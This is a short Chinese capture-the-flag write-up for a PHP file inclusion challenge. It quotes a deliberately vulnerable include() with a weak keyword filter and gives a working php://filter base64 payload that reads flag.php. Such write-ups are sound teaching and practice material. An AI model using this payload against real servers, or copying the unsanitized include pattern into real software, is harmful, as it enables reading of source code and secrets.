挺水一题,直接上步骤了
考点:文件包含
1.打开
2.查看页面源代码,发现一个页面:
3.访问,接着看源码:
可以看到这个按钮指向action.php。
3.访问,发现直接跳到了end.php,源码也没东西:
估计是跳转太快了?抓个包看下:
果然。找到下一个hint。
4.访问secr3t.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
接受GET参数file,不能出现tp,input,data。然后包含file.
典型的php://filter伪协议结合base64实现文件读取.
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
访问,获得一串Base64:
解码,获得Flag:
比较基础的一个题,每一步也给了提示。